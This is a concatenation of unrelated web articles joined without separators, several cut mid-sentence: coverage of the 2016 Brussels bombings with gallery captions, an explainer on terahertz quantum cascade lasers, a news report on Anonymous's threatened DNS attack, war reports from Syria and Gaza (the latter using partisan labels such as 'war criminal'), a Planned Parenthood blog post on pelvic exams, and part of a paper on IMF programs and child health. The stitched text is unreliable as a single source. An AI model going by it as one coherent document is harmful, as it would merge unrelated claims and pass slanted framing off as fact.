A photo posted by Nick Thompson (@nickthompson88) on Mar 23, 2016 at 2:59am PDT
And Sarah, who is 20, sounded a similar note as she headed to school -- as usual -- in west Brussels on Wednesday.
"We know these things can happen," she said, "but we must go on."
Both commuters declined to give their last names.
Sarah, 20, is heading to school in west #Brussels today. Her friend's friend disappeared yesterday after the train attack at #Maelenbeek. "We know these things can happen, but we must go on." A photo posted by Nick Thompson (@nickthompson88) on Mar 23, 2016 at 2:41am PDT
As Belgium mourned and Brussels struggled back toward some semblance of normality, new details emerged about the attacks.
Prosecutor Frederic Van Leeuw identified Ibrahim El Bakraoui as one of the airport suicide bombers, and his brother, Khalid El Bakraoui, as the man behind the suicide blast near the metro station.
ISIS has claimed responsibility for the Brussels and Paris attacks -- raising concerns that the terrorist group is gaining more traction in Europe.
Mother ripped from children
Adelma Marina Tapia Ruiz was moments from boarding a plane to New York, where she and her family were looking forward to reuniting for Easter.
Adelma Marina Tapia Ruiz, 36, was among the vicims in the attacks.
Her husband and 3-year-old twin girls had just stepped away from the boarding area at the Brussels Airport. Then an explosion ripped the family apart, Peruvian state media said.
Ruiz, a Peruvian living in Brussels, was killed, reported Andin, a Pervian news agency. Her husband and daughters escaped serious injury.
The 36-year-old mother was one of at least 10 people killed at the airport. About an hour later, 20 people were killed at the Maelbeek subway station.
"We were fearing terrorist attacks," Belgian Prime Minister Charles Michel said Tuesday. "And that has now happened."
Brothers identified; manhunt underway
Brothers Khalid, left, and Ibrahim El Bakraoui are suspected in the attacks.
The Bakraoui brothers are suspected of having ties to the November terror attacks in Paris, which left 130 people dead. Khalid El Bakraoui rented a Brussels apartment that was raided last week, a senior Belgian security source told CNN.
The brothers were known to police for involvement in organized crime but not for terrorism, Belgian state broadcaster RTBF reported.
As officials try to learn more about the Bakraoui brothers, investigators are scrambling to find a third suspect believed to be at large.
Police are after the man on the right in connection with the airport attacks.
That man, shown in surveillance footage wearing a light-colored jacket and black hat, was seen pushing a luggage cart along with Ibrahim El Bakraoui and another apparent suicide bomber.
"The third left a bomb in the airport but it didn't explode," Belgian Interior Minister Jan Jambon said. "We are now looking for this guy."
Two people were arrested Tuesday in connection with the attacks -- one in Schaerbeek and the other in Haren -- though one of them was released later that day, Belgian federal prosecutor Frederic Van Leeuw said. Another person was detained Wednesday, according to Belgian state broadcaster RTBF.
A ghost city
Despite the determination to carry on, train platforms remained largely empty Wednesday save for a smattering of soldiers. People who did venture forth felt an eerie calm.
"Like walking through a ghost town," said 28-year-old Apelonia.
And as she rode the nearly empty metro into central Brussels, she kept imagining the train exploding and herself dying.
On the trains and in the streets, Brussels appears to be a city shaken yet defiant.
Lynn, who works at a communications firm, passed by Maelbeek station 30 minutes before the Tuesday's explosion.
"It's tough, but we knew it would happen," she said as she rode a replacement bus to work Wednesday.
"We have to go on," she said. "We can't stay home. We have to hope security can protect us."
Life in lockdown
About an hour after the explosion in the subway station, the city was virtually paralyzed, with most public transport shut down and residents terrified of more attacks.
Some metro lines partially reopened Wednesday, but the city's transit system announced that subway stations would be closed and the trains wouldn't be running from 7 p.m. to 7 a.m. Outside those hours, security forces are controlling all access to the stations.
Some cafes and shops in surrounding streets are still closed.
Military personnel, carrying automatic weapons and wearing scarves against the early morning chill stood guard in the area, where many European Union institutions are based.
Emerging from the chaos
Photos: World reacts to Brussels bombings Photos: World reacts to Brussels bombings Airport workers and their relatives in Brussels, Belgium, hold a candlelight vigil Wednesday, March 23, to pay tribute to those who were killed in terrorist attacks the day before. On Tuesday, explosions rocked the city's airport and a subway station. Hide Caption 1 of 23 Photos: World reacts to Brussels bombings Belgian national flags are projected onto the National Gallery in London's Trafalgar Square on March 23. Hide Caption 2 of 23 Photos: World reacts to Brussels bombings A woman in Brussels pauses after people observed a minute of silence at the Place de la Bourse on March 23. Hide Caption 3 of 23 Photos: World reacts to Brussels bombings Teresa Mancheno, a maintenance worker at Newark Liberty International Airport, attends a vigil in Newark, New Jersey, on March 23. Hide Caption 4 of 23 Photos: World reacts to Brussels bombings European Union flags fly at half-staff outside the European Commission in Brussels on March 23. Hide Caption 5 of 23 Photos: World reacts to Brussels bombings A young girl lights a candle at the Place de la Bourse in Brussels on Tuesday, March 22. Hide Caption 6 of 23 Photos: World reacts to Brussels bombings An image of the Belgian flag is displayed on the Trevi Fountain in Rome on March 22. Hide Caption 7 of 23 Photos: World reacts to Brussels bombings The Eiffel Tower is lit up with the colors of the Belgian flag on March 22. Hide Caption 8 of 23 Photos: World reacts to Brussels bombings Servicemen with Azov, a Ukrainian volunteer battalion, hold torches during a tribute ceremony at the Belgian Embassy in Kiev, Ukraine, on March 22. Hide Caption 9 of 23 Photos: World reacts to Brussels bombings U.S. President Barack Obama and his family observe a moment of silence as they attend a baseball game in Havana, Cuba, with Cuban President Raul Castro, right, on March 22. Hide Caption 10 of 23 Photos: World reacts to Brussels bombings A woman reads messages written on the ground at Brussels' Place de la Bourse on March 22. Hide Caption 11 of 23 Photos: World reacts to Brussels bombings A New York City church holds Mass for victims of the Brussels attacks on March 22. Hide Caption 12 of 23 Photos: World reacts to Brussels bombings A man places flowers outside the Belgian Embassy in Moscow on March 22. Hide Caption 13 of 23 Photos: World reacts to Brussels bombings A man looks at flowers and messages outside the stock exchange in Brussels on March 22. Hide Caption 14 of 23 Photos: World reacts to Brussels bombings Democratic presidential candidate Hillary Clinton, center, stands for a moment of silence during a roundtable with tribal leaders in Puyallup, Washington, on March 22. Hide Caption 15 of 23 Photos: World reacts to Brussels bombings A woman leaves a bouquet of flowers at the base of the Belgium and European Union flags, which were flying at half-staff March 22 at the Belgian Embassy in Washington. Hide Caption 16 of 23 Photos: World reacts to Brussels bombings Activists in Multan, Pakistan, condemn the Brussels attack on March 22. Hide Caption 17 of 23 Photos: World reacts to Brussels bombings A woman lays flowers at the steps of the Belgian Embassy in Berlin on March 22. Hide Caption 18 of 23 Photos: World reacts to Brussels bombings A boy at a makeshift migrant camp shows support for the victims near the village of Idomeni, Greece, on March 22. Hide Caption 19 of 23 Photos: World reacts to Brussels bombings Mayors of Istanbul districts walk with consuls from various countries, including Belgium, during a protest condemning terrorism on March 22. Hide Caption 20 of 23 Photos: World reacts to Brussels bombings People in Turin, Italy, take part in a rally to remember the victims on March 22. Hide Caption 21 of 23 Photos: World reacts to Brussels bombings France's Parliament observes a minute of silence on March 22. Hide Caption 22 of 23 Photos: World reacts to Brussels bombings Members of Quebec's National Assembly have a moment of silence on March 22. Hide Caption 23 of 23
The airport remained closed and will be shut down Thursday as well.
The country will observe three days of mourning, the Prime Minister announced.
And King Philippe and Queen Mathilde of Belgium will visit the Erasme Hospital in Anderlecht and the military hospital Reine Astrid on Wednesday, the royal household said in a statement.
'A ticking time bomb'
Belgium has been a concern for counter-terrorism officials for years because of the large number of Belgian fighters who have traveled to join ISIS and other terror groups in Syria and Iraq. Many have later returned home.
JUST WATCHED Brussels suspects connected to Paris attacks Replay More Videos... MUST WATCH Brussels suspects connected to Paris attacks 00:10
"The Belgians have been sitting on a ticking time bomb," a U.S. counterterrorism official said.
A Twitter post circulated by prominent ISIS backers Tuesday said, "What will be coming is worse."
The notion that the two suspected suicide bombers were known to authorities yet still carried out attacks shows how thinly spread intelligence authorities are, said CNN producer Tim Lister, who has reported extensively about terrorism.
"Even people like these brothers, who have criminal records, who have fired AK-47s at police, are still out there pretty much undetected," Lister said.
"It's estimated that just to follow one person 24/7 requires 25 officers or agents. There are just too many suspects to follow."
Photos: Terror attacks in Brussels An injured woman leaves the airport in Brussels, Belgium, after two explosions rocked the facility on Tuesday, March 22. There was also an explosion at a subway station in the city. Hide Caption 1 of 22 Photos: Terror attacks in Brussels Windows are blown out after the deadly attack at the airport. Hide Caption 2 of 22 Photos: Terror attacks in Brussels A police officer directs passengers in a smoke-filled airport terminal. Hide Caption 3 of 22 Photos: Terror attacks in Brussels Two wounded women are seen in the airport. Hide Caption 4 of 22 Photos: Terror attacks in Brussels This photo from inside the airport was shared by Jef Versele on Facebook. Hide Caption 5 of 22 Photos: Terror attacks in Brussels Subway passengers walk along the tracks following a blast at the Maelbeek metro station. Hide Caption 6 of 22 Photos: Terror attacks in Brussels A private security guard helps a wounded woman outside the Maelbeek metro station. Hide Caption 7 of 22 Photos: Terror attacks in Brussels Wounded people are treated outside the subway station. Hide Caption 8 of 22 Photos: Terror attacks in Brussels Rescue teams evacuate the subway station. Hide Caption 9 of 22 Photos: Terror attacks in Brussels Police officers guard the area around the subway station. Hide Caption 10 of 22 Photos: Terror attacks in Brussels People react as they walk away from the Brussels airport. Hide Caption 11 of 22 Photos: Terror attacks in Brussels A man with blood stains on his sweater leaves the airport. Hide Caption 12 of 22 Photos: Terror attacks in Brussels Passengers leave the airport after the attack. Hide Caption 13 of 22 Photos: Terror attacks in Brussels A young girl looks out of the window of a bus after airport evacuations. Hide Caption 14 of 22 Photos: Terror attacks in Brussels People stand near the airport after evacuations. Hide Caption 15 of 22 Photos: Terror attacks in Brussels Passengers gather outside the airport. Hide Caption 16 of 22 Photos: Terror attacks in Brussels Police officers stand guard near the Maelbeek metro station. Hide Caption 17 of 22 Photos: Terror attacks in Brussels A police helicopter flies above the area near the subway station. Hide Caption 18 of 22 Photos: Terror attacks in Brussels People embrace outside the Brussels airport. Hide Caption 19 of 22 Photos: Terror attacks in Brussels People are led away from the airport after the attacks. Hide Caption 20 of 22 Photos: Terror attacks in Brussels A victim receives first aid near the Maelbeek metro station. Hide Caption 21 of 22 Photos: Terror attacks in Brussels Ambulances arrive at the airport. Hide Caption 22 of 22
But the interior minister said Belgians refuse to be defeated.
"Our police services and our investigation services are very professional people, but we are also convinced that also the terrorists... are professionals too -- and well-trained and well-formed," Jambon said.
"So it's a difficult battle against them. But I'm convinced that we will win."I work in optics, so when I'm in grant-writing mode, optics and lasers seem to be the best technology choice for every problem, including powering coffee machines. But in the part of the multiverse called reality, lasers aren't always ideal. This becomes particularly true when we move to longer wavelengths; terahertz radiation (basically, heat), in particular, which has wavelengths at around 0.1mm, is best described as painful to work with.
Part of the reason for this is that the sources for THz radiation are, well, unfriendly. They are either really bulky, or so small that they emit their radiation everywhere, making it impossible to collect efficiently. Fortunately, a recent paper on combining plasmonics and THz radiation has given me just the excuse I need to introduce you all to the wonderful world of... coherent heat.
Why are researchers interested in making coherent heat? Many non-conducting materials, with the notable exception of water, are nearly transparent to THz radiation, making it useful for imaging and spectroscopy.
For instance, a drug tablet is mostly transparent, but each of the different layers generates a small reflection, so the internal structure of the tablet can be imaged. The very bonds between molecules in a crystal vibrate very slowly compared to the vibrations between atoms within a molecule, so you need THz radiation to study these vibrational modes. And, of course, security personnel go a bit dreamy whenever they contemplate imaging systems that can see through clothes.
But all of these require either a large amount of radiation, or that the radiation is coherent. So how do we make THz radiation? Most light sources use a natural material to provide the right wavelength of light—then we optimize it and arrange it so that we get as much light as possible from a modified version of that material.
In the THz range, that strategy just doesn't work. That isn't to say that nothing emits THz radiation—you just need to heat stuff up to get some. But the emission from these sorts of devices is too weak to be of much use, and there's not much we can do with the process to optimize it. As a result, researchers have had to be quite inventive to generate useful THz radiation.
Straining semiconductors
THz sources come in two varieties (there are others, actually, but for our purposes here I am going to ignore them), both of which can be classified as almost useless. The traditional generation route is via lasers; take a pulsed laser and focus the light onto a very stressed piece of semiconductor material and it will excite a whole lot of electrons. Normally, these electrons would meander around until they ran into an atom that has a vacancy for an electron (called a hole), whereupon they recombine. If you apply a voltage while this is happening, the electrons and holes will accelerate, and emit radiation as they do so.
To get THz radiation from this, the semiconductor is "strained," meaning that the atoms don't quite sit at evenly spaced intervals. The electrons will bounce off these atoms and recombine with holes very quickly—the time is actually around a picosecond, meaning that the frequency of the emitted light has frequencies of around a THz.
To optimize the process, the electrodes that apply the voltage are also THz frequency antennas. The laser light is focused on the gap between the antenna poles, and the coherent heat is radiated rather like radio waves from the antenna. The end result is a pulse of THz radiation emitted from the antenna, which can be collected for use.
The coherent heat produced by such an apparatus is very much like laser light: easily focused and emitted as a relatively narrow (for the wavelength) beam.
Quantum cascades
If you don't need quite so much fanciness, you go for the alternative, called a quantum cascade laser, which looks a bit like a diode laser. In this case, a very large sandwich of different semiconductors provides a series of little pots, each of which can hold an electron. Once a voltage is applied, the pots at one end of the stack drop down, so that each of the pots sits at a slightly lower energy than the one before it.
An electron enters the top pot, and, as with all excited objects, it wants to lose some energy. It can do this in two ways: it can recombine with a hole and vanish from our pot—that would be bad—or it can emit a photon and decay to the lower energy level within the pot—which would be good. We engineer the spacing of these energy levels by choosing materials and spacings so that the energy levels in the pots correspond to THz frequency photon energies.
So, assuming everything goes right, a THz photon is emitted and the electron ends up sitting in the lowest possible energy state in the top pot. But sitting right next to that is another pot, and its lowest energy level is even lower, and an excited state is nearly at the same energy as the pot the electron is in. The wave functions of these two states overlap and interfere to create one wave function that encompasses both pots. As a result, the electron tunnels to the next pot, whereupon it can emit another THz photon, and then it cascades down the second series of pots.
This can be helped by having lots of THz light flying around, because these light fields can stimulate emission and increase the probability of the electron doing the right thing (though the probability has to be high even in the absence of the light field). But THz radiation has a rather long wavelength, and this means that as it radiates, it spreads out rapidly, reducing its intensity quite severely.
To get around this, researchers often flank the semiconductor sandwich with metal plates, creating a waveguide that confines the THz radiation and increases the intensity of the light within the region of the pots. But the effect of this is disastrous in terms of utility, since the light emitted sprays out in every direction, making it impossible to collect most of it for use.
Playing tricks on nature
Ultimately, diode lasers are the way to go—teams of researchers celebrate every time some clever engineer figures out two things: how to replace a bench laser with a diode laser and how to replace a photomultiplier tube with a photodiode. So it is worth investing the time to figure out how to improve the emission properties from the quantum cascade, which is where the paper that launched this discussion comes in.
The quantum cascade laser contains a light field that is bound to the surface of a metal plate—this would typically be known as a surface plasmon polariton. Except it isn't; the wavelength is too long and, in a real surface plasmon polariton, the electrons in the metal are pushed around together by the light field. The electrons carry the light field with them, shortening the wavelength, compressing the light fields, and keeping the light bound to the surface. At long wavelengths, this kind of falls apart and the light field doesn't stay very attached to the metallic surface.
Why do we care? If the light were traveling as a surface plasmon polariton, then the researcher could engineer the exit of the quantum cascade laser to ensure that the light was emitted as a directed beam, rather than spraying everywhere. So, the researchers asked themselves whether we could fool nature and get it to believe there's a surface plasmon polariton in these quantum cascades.
The answer is to carve grooves into the surface of the metal. The grooves each reflect a tiny amount of radiation. Since the reflected radiation is itself reflected, the end result is that the entire wave slows down, allowing the electrons to respond and confining the wave to the surface, just like a surface plasmon.
Now that the researchers had something that looked like a surface plasmon, they could design a set of grooved patterns that resulted in the wave emitting in a narrower beam. The end result was a quantum cascade laser that emitted over a narrow range of angles, much more in keeping with regular laser diodes.
THz applications have not yet had the impact that researchers thought they would. But it's still early for the technology, and it certainly does have its uses. At the very least, it would obviously be a pretty damn cool way to make coffee.
Nature Materials, 2010, DOI: 10.1038/NMAT2822
Listing image by Sandia National LabsSupposed members from the hacker group Anonymous are threatening to shut down the internet on March 31st, calling it 'Operation Blackout.' The decentralized group issued a press release on Pastebin announcing the their most ambitious plans yet: to take down the thirteen servers that form the DNS directory.
According to the statement, the attack is meant to send a very strong message in protest of "SOPA, Wallstreet, our irresponsible leaders and the beloved bankers who are starving the world for their own selfish needs out of sheer sadistic fun." Even though such an attack would no doubt affect everyone, the statement says that is not the purpose.
By cutting these off the Internet, nobody will be able to perform a domain name lookup, thus, disabling the HTTP Internet, which is, after all, the most widely used function of the Web. Anybody entering "http://www.google.com" or ANY other url, will get an error page, thus, they will think the Internet is down, which is, close enough. Remember, this is a protest, we are not trying to 'kill' the Internet, we are only temporarily shutting it down where it hurts the most.
How, exactly, would someone go about shutting down the Internet if they wanted to? Would it even be possible? The attack plan follows the usual Anonymous method, a DDoS (distributed denial of service) attack, but targeted at the DNS directory.
So, what is the DNS directory? In layman's terms, it converts the web address you enter into an IP (Internet Protocol) address, which tells the servers where to send you. If the DNS system were to fail, you wouldn't be able to enter a website unless you knew the IP address, which very few people would know.
So, will it happen? Who knows; thanks to Anonymous' decentralized nature, it's hard to figure out if a message is even coming from the real 'group', and it's even harder to know if they actually have the ability to carry out such an attack. We'll just have to wait and see, but if the Internet does go down, we probably won't be here to let you know.Dozens of fighters from the Islamic State of Iraq and the Levant (ISIL) and Syrian government forces have been killed in ongoing battles in Hasakah province, a monitoring group and activists said.
The fighting has displaced more than 100,000 people, the UN said.
At least nine ISIL fighters and 12 government soldiers were killed during clashes on Monday, the UK-based Syrian Observatory for Human Rights reported.
On the eastern side of Hasakah city, Kurdish People's units (YPG) foiled an ISIL suicide car bomb in the neighbourhood of Ghweran and captured three villages from ISIL fighters, activists and the Observatory told Al Jazeera.
ISIL launched its offensive on Syria's northeastern province of Hasakah, which borders Turkey, on June 25.
Since then, at least 71 government soldiers and 48 ISIL fighters have been killed.
The Observatory said more than 30 civilians have been killed in the clashes, with an increase in the death toll expected.
ISIL moved closer to Hasakah city last month, but the city remains under opposition and YPG control.
Government air strikes have targeted ISIL fighters in several neighbourhoods in and around Hasakah since Thursday.
About 2,000 people are trapped in the neighbourhoods of al-Nashwa and al-Sharia due to the fighting and government air strikes, the UN reported over the weekend.
The UN also said at least 120,000 have been displaced due to the fighting within Hasakah city and its surrounding villages.
The population of Hasakah province in 2011 was 1.5 million - with 300,000 living in Hasakah city, which has a mixed Arab, Kurdish, and Christian population.
The UN also said they expect more people will try to flee in the next few days.
ISIL anniversary
Sunday marked one year since ISIL's leader, Abu Bakr al-Baghdadi, declared himself a caliph of what he called the "Islamic State" in Iraq and Syria.
ISIL now controls almost 50 percent of Syrian territory, declaring eight "Islamic states" inside the country.
They currently have presence in nine out 14 Syrian provinces and control many significant oil and gas fields.
Since Baghdadi's statement a year ago, the Observatory said it has documented 3,027 executions carried out by ISIL, including those of 1,787 civilians, 74 of them children.
More than half of those executed were civilians and more than half of the executed civilians were members of the Sunni Shaitat tribe, which revolted against ISIL south of Deir Ezzor city in August 2014.
RELATED: Baghdadi's vision of a new caliphate
The overall toll includes the mass killings that took place in the surprise ISIL attack on Kobane last week after being forced out in January. Activists told Al Jazeera almost 300 people were killed in the attack.
The Observatory also reported that at least 8,000 ISIL fighters have been killed in clashes with Syrian rebels and YPG Kurdish forces, and in US-led air strikes that started in September 2014.RINF Alternative News
As the Israeli military continues to relentlessly bombs Gaza as part of ‘Operation Protective Edge’, at least 44 Palestinians civilians, including women, children and infants, have been killed with an additional 300 injured, according to medical statistics.
The Israeli military said it had attacked 550 sites over the past two days.
Bragging on Israel Radio, war criminal Prime Minister Benjamin Netanyahu said:
“The army is ready for all possibilities.
Hamas will pay a heavy price for firing toward Israeli citizens. The security of Israel’s citizens comes first. The operation will expand and continue until the fire toward our towns stops and quiet returns.”
“Despite the fact it will be hard, complicated and costly, we will have to take over Gaza temporarily, for a few weeks, to cut off the strengthening of this terror army.”
According to WAFA Israeli jet fighters and warships targeted hundreds of locations across Gaza, including former headquarters of Palestine state TV as well as residential facilities; dozens of homes have been destroyed during the past two days because of the Israeli airstrikes.Welcome to the latest installment of “Over 90 Percent of What Planned Parenthood Does,” a series on Planned Parenthood Advocates of Arizona’s blog that highlights Planned Parenthood’s diverse array of services — the ones Jon Kyl doesn’t know about.
I remember sitting in the exam room, fidgeting with my paper gown and nervously explaining to the doctor that my boyfriend and I had come very close to having sex already, and I would please like to be on birth control pills when it actually happened.
“Sure,” he said, swinging open the stirrups. “Just as soon a we do a pelvic exam.”
I didn’t want one. I really didn’t want one.
While it’s common for health care providers in the United States to require or routinely perform a pelvic examination — with or without a Pap test — prior to prescribing hormonal birth control, several health organizations state that a pelvic exam isn’t necessary in order to be safely prescribed hormonal contraceptive pills, patches, shots, or rings. For instance, the American College of Obstetricians and Gynecologists advises, “A pelvic exam is not needed to get most forms of birth control from a health care provider except for the intrauterine device (IUD), diaphragm, and cervical cap.” In such cases, HOPE (Hormonal Option without Pelvic Exam) may be an appropriate alternative.
This is not because pelvic examinations are unimportant in themselves, but rather because evidence-based medicine generally does not support them as a prerequisite for safely and effectively using hormonal contraception. According to the Centers for Disease Control and Prevention’s U.S. Medical Eligibility Criteria for Contraceptive Use, the main conditions that present questionable or unacceptable health risks for combined hormone contraceptives (those containing both estrogen and a progestin) are if the individual:
is a smoker over age 35
has hypertension (high blood pressure)
has a history of or is at increased risk for blood clots
experiences migraine with aura
Most progestin-only contraceptives (save the IUD, which does require a pelvic examination for safe insertion) come with fewer contraindications. Moreover, most contraindications would be found by taking a patient’s medical history and checking their blood pressure rather than via pelvic exam.
This is not to suggest that one should never have a pelvic exam, or that using hormonal contraception means it’s a smart idea to ignore all other safer sex practices (including STD screening) or gynecological care. As this editorial from the American Family Physician pointed out, “Periodic Papanicolaou tests are important preventive measures but are unrelated to the use of hormonal contraception. Screening for sexually transmitted diseases also is important, but performing these tests or waiting for results should not delay a prescription for hormonal birth control.” For some people, it makes a lot of sense to choose to take care of all of these sexual health care needs at a single annual visit.
However, others may have a decided incentive to decouple some of these tests and examinations from their prescription for birth control pills. For instance, one person may have never had partnered sexual contact and may be uncomfortable with the idea of a health care provider inserting fingers into their vagina. Others — such as survivors of sexual abuse or assault or people who are genderqueer and/or trans* — may find pelvic exams dissociative, traumatic, and triggering.
For people in these situations, the negative consequences they experience from the exam can outweigh the benefit they’d get from it, even if one of those benefits is obtaining their annual prescription for birth control pills. In some cases, this fear and anxiety may be enough to avoid a pelvic exam at any cost, even if one result is that they forgo birth control pills, possibly ending up at increased risk for pregnancy.
I know that for me, sitting in that exam room nearly two years after I was raped, having a doctor prod my genitals seemed like the worst thing that could happen to me that day. I sat through it, first because I couldn’t figure out how to say no, then because I dissociated. I did get my prescription for birth control pills. However, I didn’t see another health care provider for an “annual” exam for another four years. In that time, I made contraceptive compromises I wish I hadn’t. It |
indicator, this approach follows conventions in the field (2, 32), including work by the IMF itself (30). Unraveling the heterogeneous effect of conditionalities is an important future research task. The analysis also included additional country-level variables, defined in SI Appendix, Table S1, that could confound the effect on child health; SI Appendix, Table S4 shows descriptive statistics, whereas SI Appendix, Table S5 outlines correlations. Statistical Methods. The analysis has two core equations. First, we estimate a Heckman selection model to predict a country’s likelihood to participate in an IMF program, as program participation is not random. Poorer countries, being more vulnerable to economic turmoil, are more likely to solicit IMF support (2). Relying on a version of the specification used by the IMF’s Independent Evaluation Office (33), we use the following: IMF program participation in the previous year, gross domestic product (GDP) growth, democracy, current account balance, GDP per capita, the total number of countries on IMF programs, and United Nations voting affinity with Group of Seven countries. The latter two variables fulfill the exclusion restriction: a variable that is significant in explaining the country’s participation decision in an IMF program, but is not correlated with the dependent variable of the outcome equation. After estimation, we calculate the inverse Mills ratio to be included in the outcome equation to control for the unobserved factors, potentially affecting selection into programs (34). A complete outline of the motivation behind the Heckman model is given in SI Appendix, SI Text. Second, we estimate the IMF effect on child health with multilevel equations to account for the hierarchical nature of our data (35): children are nested in households, households in neighborhoods, neighborhoods in broader geographical regions, and last, all these levels are nested in countries. Because of some sparse observations within households and by neighborhood, the estimation does not converge when we include these levels. We settled on a parsimonious two-level model: children nested in countries. This model is likely to give some upward-biased standard errors for the household variables but does not otherwise affect the estimates: Logit ( C h i l d H e a l t h d, i, k, t a ) = β 0, k + β 1 I M F k, t − 1 b + β 2 E d u c a t i o n i, k, t a + β 3 I M F k, t − 1 b ⋅ E d u c a t i o n i, k, t a + β 4 InvMil l k, t − 1 b + β 5 X i, k, t a + β 6 X k, t −2 b β 0, k = β 0 + μ κ where μ k ∼ N ( 0, σ 2 ), child deprivation d ∈ ( w a t e r, f o o d, s h e l t e r, s a n i t a t i o n, h e a l t h ). Our base model is a random intercept logit model with child i nested in country k. The random term u k captures each country’s deviation from the conditional mean (the intercept); it is assumed to be normally distributed with variance σ 2. The outcome variable C h i l d H e a l t h i k a measures whether a child is severely health deprived or not, in five dimensions (the index d). The key explanatory variable, I M F k, t − 1 b, indicates whether an IMF agreement was in place in the preceding year. I n v M i l l k, t − 1 b controls for selection bias, as described above: a positive effect implies that unobserved factors, which make IMF program participation more likely, increase the probability of severe deprivation. A number of country controls, X k, t − 2 b, as well as household and child controls are included, X i, k, t a : log GDP per capita, received foreign aid, health spending, civil war, population dependency ratio (share of the population aged under 15 and over 65), democracy, and year of interview. All country-level covariates are lagged 2 y. The superscript indicates the level of analysis (a designates the child level, and b designates the country level). Time is present in two ways in our research design: first, in terms of the sampling date of when the DHS and MICS surveyed children’s living conditions (which varies between countries); and second, as lags of the country-level covariates (as described above, we use an identical lag structure across countries). Each child (and country) is only sampled once, thus rendering the design of our study cross-sectional. IMF programs’ effect on children will likely take some time to materialize and to fade out; using the presence of a program in the previous year has been proposed as an appropriate way of capturing this lagged impact (12, 13). We lag the pretreatment conditions by 2 y and thus avoid posttreatment bias, which will give us the total treatment effect (36). Although our design does not use quasiexperimental design methods, such as difference-in-differences, which would require preprogram and postprogram measurements of child health, it nevertheless captures differences in child health by parental educational attainment between countries under treatment and countries serving as controls. We do this by including a set of interaction terms to our base model to capture these moderation effects (37). We stratify the analysis further by evaluating this effect by household location, as the literature has found large heterogeneity when looking at disparities between urban and rural households in low- and middle-income countries (29). The lack of pretreatment and posttreatment measurement of child health implies that we cannot study shifts in deprivation prevalence and trajectories of child health as a function of IMF programs. Ideally, a panel study of children followed over time, before and after the presence of an IMF program, and in countries with and without a program, would enable a full-fledged causal analysis. Although we do not claim causality, our approach nonetheless sheds important light on the complex associations between IMF programs, parental education, and child health.
Discussion This study has shown that IMF programs erode the protective effect of parental education on child health, especially in rural areas. We also find some mixed results in urban areas. Children of educated parents still have better health than their peers with uneducated parents. However, this gap shrinks under programs. We offer some potential explanations of these observations by highlighting the broader relationship between IMF programs and the societal effects of austerity (5, 7, 13, 32, 38⇓–40). Our study raises four main questions. First, and most importantly, why does the protective effect of parental education erode under IMF programs? Our results indicate that austerity undermines the benefits and value of educational capital. We propose a series of interlinked ways in which this can happen. A first (direct) mechanism involves the impacts of reduced fiscal space under austerity, which undermines a government's capacity to provide tuition-free or low-cost quality education. On the one hand, fewer parents will gain access to education. On the other, even those who may get an education, will be affected by IMF-mandated government wage bill ceilings, which can limit the numbers of teachers in public schools, leading to staff shortages, reduced teaching quality, and further devaluation of education (21, 41). This depreciation of educational resources is then likely to reduce the beneficial effect of parental education on child health, weakening the capabilities of households and communities (20). Another (indirect) mechanism is intertwined with the first: under austerity, governments spend less not only on education but also on the protection of labor. Reductions in public spending on social policies, mandated by the IMF, can yield social insecurity and wage repression, resulting in a downward mobility for the middle classes. In the context of rapidly changing socioeconomic environments during periods of structural adjustment programs, degrading employment prospects wrought by economic deregulation curb the otherwise important marginal utility of basic educational resources in the making of parents' ability to protect their children (4, 13, 42). As a result, the gap between parents who have an education and those who lack gets reduced. Over and above these mechanisms, parents lacking an education in the first place—who tend also to be the poorest segment of the population—are already economically excluded from the labor market, and therefore, these changes seems to affect them less. Second, why is the protective effect of education weaker in rural compared with urban areas, under IMF programs? It is plausible that, under economic turmoil, governments will channel scarce resources toward cities rather than villages, as these are major sites for corporate profit, and thus can generate further tax revenue (4). This, in turn, implies that educated rural families have a harder time mobilizing resources for the benefits of their children. Third, why do the benefits of education increase in rural areas in relation to water deprivation? Among its manifold privatization conditionalities, water privatization has been imposed by the IMF in developing countries (43). Against the backdrop of previous research, our findings suggest that the more educated—who tend to also have higher socioeconomic status—stand out as the principal beneficiaries of this measure. As people will have to pay the full cost for water access, the poor will tend to choose less costly, albeit less safe, water sources (4). The availability of water is more widespread in the urban areas, which can explain why no significant change is observed in our models. Fourth, why do the benefits of education decrease in relation to malnutrition and health care access, not only in rural but also in urban areas? A potential mechanism lies in the IMF’s Poverty Reduction Strategy, which might be equalizing the risk exposure across different educational, socioeconomic, and spatial landscapes (44). However, the Poverty Reduction Strategy commenced post-1999, meaning only some of the surveys in our sample would pick up this potential effect. Another possible explanation pertains to the seeming inefficiency of health systems, as evidenced by the insignificant effect of health spending in our models. The absence of any effect is consistent across different measures for health spending; of eight different, it is only significant in one case (SI Appendix, Tables S19 and S20). Realistically, increased health spending should have some beneficial effect on children’s health. However, under IMF programs, government subsidies for immunization, healthcare, and food are often the first to be dismantled (13, 45). This may indicate that health-related resources are inefficiently allocated by governments implementing adjustment programs. Further research can probe the concrete mechanisms through which conditionalities affect health system efficiency. Before evaluating the policy relevance of this study, it is important to note its main limitations. First, this study focuses on program participation as an aggregate package of conditions. Disentangling the effect of the various types of conditions on child health is an important task for future research (31). Second, the research design permits mainly a discussion of correlation but not causation. For lack of a proper time dimension for the outcome variable, our study cannot establish the nature and direction of causality. Although we used a lagged treatment variable for IMF programs and the country-level covariates, we cannot control for endogenous child health trends (initial values before program implementation). Third, we used Gordon et al. and UNICEF’s definitions (thresholds) for severe child health deprivations (25). Evaluating how the results change across different thresholds is an important task for future studies. Fourth, we focused on the educational attainment of the head of household, who tends to be the husband or the oldest male of the family (27). Although this is an encompassing proxy of the household’s socioeconomic status (28), there might be further differential effects in relation to the gender of the child and paternal structures. Our results show, for example, that, except for access to health services including vaccination where we find no significant difference between boys and girls, for the other outcomes boys tend to have higher odds of being deprived. The difference is small for water, shelter, and sanitation (1% higher odds), and larger in nutritional deprivation (6%). This differential might be explicated by further disentangling family gender compositions. Although we used data sampled over a decade ago, there are substantive reasons to believe that the effects of IMF programs are still comparable today. Even though the IMF has sought to change its public image and purports to have transformed its lending practices (9), its programs still aim toward the same goals: to balance government spending via steep reductions in social spending, privatization of public services, and declines in the provision of public goods as educational resources (8, 31, 46). In sum, our study suggests that IMF programs are working at cross-purposes vis-à-vis child health. IMF interventions seek to foster economic stability, which yields beneficial effects for the population. However, at the same time, these IMF-mandated adjustment measures diminish the protective effect of parental education on child health. Government officials need to ensure that policy recommendations or demands made by the IMF do not entail inadvertent deleterious effects, whether directly or via erosion of parental resources. One way of achieving this is to expand the recently launched cocooperation among the IMF, the World Bank, and UNICEF (47, 48), geared toward closer monitoring of the 